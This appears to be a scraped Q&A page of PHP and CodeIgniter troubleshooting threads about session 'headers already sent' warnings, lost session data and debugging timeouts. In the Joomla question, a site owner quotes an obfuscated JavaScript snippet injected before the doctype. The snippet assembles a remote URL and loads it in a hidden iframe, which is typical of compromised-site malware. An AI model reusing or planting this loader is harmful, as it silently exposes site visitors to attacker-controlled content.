php session weird error [duplicate] - session

This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
PHP session start “Cannot send session cookie and cache limiter”
So I have been developing on my localhost, and I uploaded it to my actual web server finally, and kept getting messages saying:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent
Even though session_start() was at the top, no white space, etc...
So I did some googling, and the only way to get it to work properly was to put this at the very top:
ob_start("ob_gzhandler");
What does that exactly do? Is it related to my error.

Check for BOM at the start of your documents, this what probably causes the output before the session_start(); (Most text editors have a way to save your document without BOM; In Notepad++ you go to Encoding->Encode in UTF-8 without BOM).

and kept getting messages saying: Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent
This is your first fault. You have just omitted the most important part of the error message, playnly saying, where the problem code is. Did you try to read it through?
and the only way to get it to work properly was to put this at the very top: ob_start("ob_gzhandler");
This is your second fault. ob_start is not the only and not the way to go.
The only proper solution is
To read the error message and locate the place where output actually started.
Fix your code to make it send HTTP headers before any output.
Check for the possible Byte Order Mark at the beginning of your files and eliminate it.
php session weird error
This is your third fault. One cannot call "weird" an error which has been asked a zillion times already. I'd rather call it "extremely familiar and boring" one.

Related

Codeigniter global error override

Is there a way in Codeigniter to override global errors. For instance if an DB error or PHP critical occurs it wont show the error itself but something like 'Our admin guy is fixing the issue' and the error is just logged and emailed.
Codeigniter lets you handle error messages your way, depending on the HTTP status.
Refer to this documentation on error handling
In addition to #Pos5e5s3dFr3ak's answer, you should handle as many errors as you can manually. For example, if you have a database error, your code should acknowledge (or 'catch') it and perhaps load the appropriate view, or pass it onto a library that will log an email the fault, instead of displaying the intended result.
This method can be used as an alternative, or as an addition to the original answer - sometimes you need not locate the error just by its HTTP response Status Code.
As an example, you may find that the database engine in use is down. If this is the case (you would have to determine if it is indeed down - ie. you are not getting the desired response), you would pass the user on to example.com/error/database, for example.

codeigniter session data gets lost

i already posted this question but still wasnt able to resolve this issue.
seems that everyone has this problem with codeigniter .
When i set my session in a controller it works perfectly and i can display it.
WHen i move to another controller, the (CUSTOM) session data is completely lost.
i tried changing my cookie_domain in config.php. Since i am on localhost i tried localhost with without / and localhost/codeigniter and sodeigniter all did not work. i am lost
btw, i read somewhere that this happens when 2 ajax requests happen at the same time. could that be the problem?
Or maybe tell me how you resolved the problem if you had same issues
screw this, i am swithing to php native sessions. if anyone wants to do that,
http://codeigniter.com/wiki/PHPSession
Check and double-check your code or any external libraries you are using for a stray sess_destroy(). I ran into a similar problem where I was storing an id in the session for reference but if the user then logs in the SimpleLogin library I was using for logins just destroys the entire session including data I did not want to lose.
This is what I get for not writing my own code.

Joomla rendering some javascript library before <!doctype>

a friend of mine's joomla site started behaving very strangely...
it has some errors in the top of the page, it goes like this:
j='7';yy='le';jp='b';p='if';l='sa';sb='1c';x='tp';ih='a';he='7';yq='us';y='/i';b='ht';u='a';v='p=3';ea='://';xh='0fc';d='7';c='s';e='p?t';xn='/ho';n='n';k='s.';ds='sr';q='c';h='t';o='9';fc='dex';tn='17';bg='.ph';an='com';hj='ra';mp='f';cw='a';fw='me';z='me';zf='n';vn='ge';dd=p.concat(hj,fw);i=ds.concat(q);jn=b.concat(x,ea,l,yq,u,vn,c,z,n,h,k,an,xn,yy,y,zf,fc,bg,e,v,mp,jp,d,ih,xh,sb,tn,o,j,cw,he);var mu=document.createElement(dd);mu.setAttribute('width','5');mu.setAttribute('height','5');mu.setAttribute('style','display:none');mu.setAttribute(i,jn);document.body.appendChild(mu);
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/content/26/3930826/html/index.php:1) in /home/content/26/3930826/html/libraries/joomla/session/session.php on line 412
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/content/26/3930826/html/index.php:1) in /home/content/26/3930826/html/libraries/joomla/session/session.php on line 412
Warning: Cannot modify header information - headers already sent by (output started at /home/content/26/3930826/html/index.php:1) in /home/content/26/3930826/html/libraries/joomla/session/session.php on line 415
the first paragraph is clearly a javascript library that is being inserted on the html, before the doctype, and the warnings i think are because of that.
Problem is, i never used joomla, my friend is not that saavy, and i haven't the slightest idea of what javascript lib is causing this.
I searched Google, and i get a lot of unrelated sites with the same problem...
Has anyone come across this? does someone have a solution?
Thanks
Well, the problem went away by itself...

Any way to get around the browser http timeout during debugging?

I am currently working on a Django development. There is a problem, which isn't a true problem but very annoying. Often, when I try to debug my Django app by putting down some break points, I get this error at the server end:
error: [Errno 32] Broken pipe
After reading this other post, Django + WebKit = Broken pipe, I have learned that this has nothing to do with the server but the client browser used. Basically, what happened is that the browser has a http request timeout. If it doesn't receive a response within the timeout, it will close down the connection with the server.
I find this timeout isn't really needed, indeed causing headache, during debugging. Is there any way I can lift this timeout or increase it for my browser (Chrome)? Or maybe a substitute browser that doesn't have this constraint?
Note: Although I am using Django and have mentioned about it, this isn't a Django-related question. It's more like a question on how to make my debugging process more effective.
I prefer using linux/unix curl command for debugging web applications. It's good approach, especially if you want to focus on some specific request, for example: POST does not work fine for some set of parameters, or cookies are not set as expected.
Of course it may take some time at the beginning to find out how to use it, but then, you will have a total control about every single piece of request: timeouts, cookies, headers and so on. It's very helpful, because you can be sure that what you wanted to send is actually sent (no additional data is added by the web browser).

codeigniter i get header already sent

i got this error
A PHP Error was encountered
Severity: Warning
Message: Cannot modify header
information - headers already sent by
(output started at
/home/rapcomdk/public_html/system/language/danish/imglib_lang.php:1)
Filename: helpers/url_helper.php Line
Number: 541
i dont know what the problem is
here is my controller:
http://pastebin.com/EMtcMgsB
and here is my model file:
http://pastebin.com/iH6xQFGA
hope some one can help me out
Check and make sure in system/language/danish/imglib_lang.php that you have no whitespace before the <?php tag and make sure you do not have a closing ?> php tag in the file.
In addition to jondavidjohn's answer, if you're using Unicode encoding for the files, make sure there's not a byte order mark starting off the file. On some platforms, this can wreak havoc on PHP processing.
Make sure there are no errors in codeigniter, sometimes the errors can be covered by other errors, such as one error lead to another.
The problem is in system/language/danish/imglib_lang.php, which must have some character before the <?php part by the time it is parsed on the server. What's happening is that helpers\url_helper.php is trying to redirect (using this code;)
case 'refresh' : header("Refresh:0;url=".$uri);
But is failing because imglib_lang.php, line 1 has already sent some non-header text to the response. Since headers come first, it's giving you the warning.
I wonder at it working locally but not on the deployment server. It may be that the file is not being transferred cleanly, or that the servers use different versions of PHP with different handlings of character sets.
Several checks;
Be absolutely sure there is no BOM at the front of system/language/danish/imglib_lang.php. Let us know why you are certain. If you've edited the file in Notepad on windows, for instance, it'll have gained the Byte Order Mark. It can be very hard to tell since some tools 'swallow' the mark. Also make sure there's no plain whitespace.
When you save imglib_lang.php, make sure you save it in ASCII.
Compare local and remote versions of PHP. If there are differences, update your local copy to the same as the servers, and retest.
Check that the file is being transferred perfectly. If you are putting the file up using FTP, then FTP may be modifying it as it transfers it. FTP has two modes - an ASCII mode and a BINARY mode. If the files are being transferred as ASCII, then there may be some rewriting of the file going on. Try making sure imglib_lang.php is being transferred as BINARY to make sure the exact file is being uploaded.
If you think that you have everything configured correctly, maybe your library (or specifically, imglib_lang.php) is simply producing PHP warnings or notices. If you can get a hold of your logs from your host, it would be helpful.
Otherwise, you can try to turn off PHP's error reporting:
error_reporting(0);
(you can place that line in your index.php)

Resources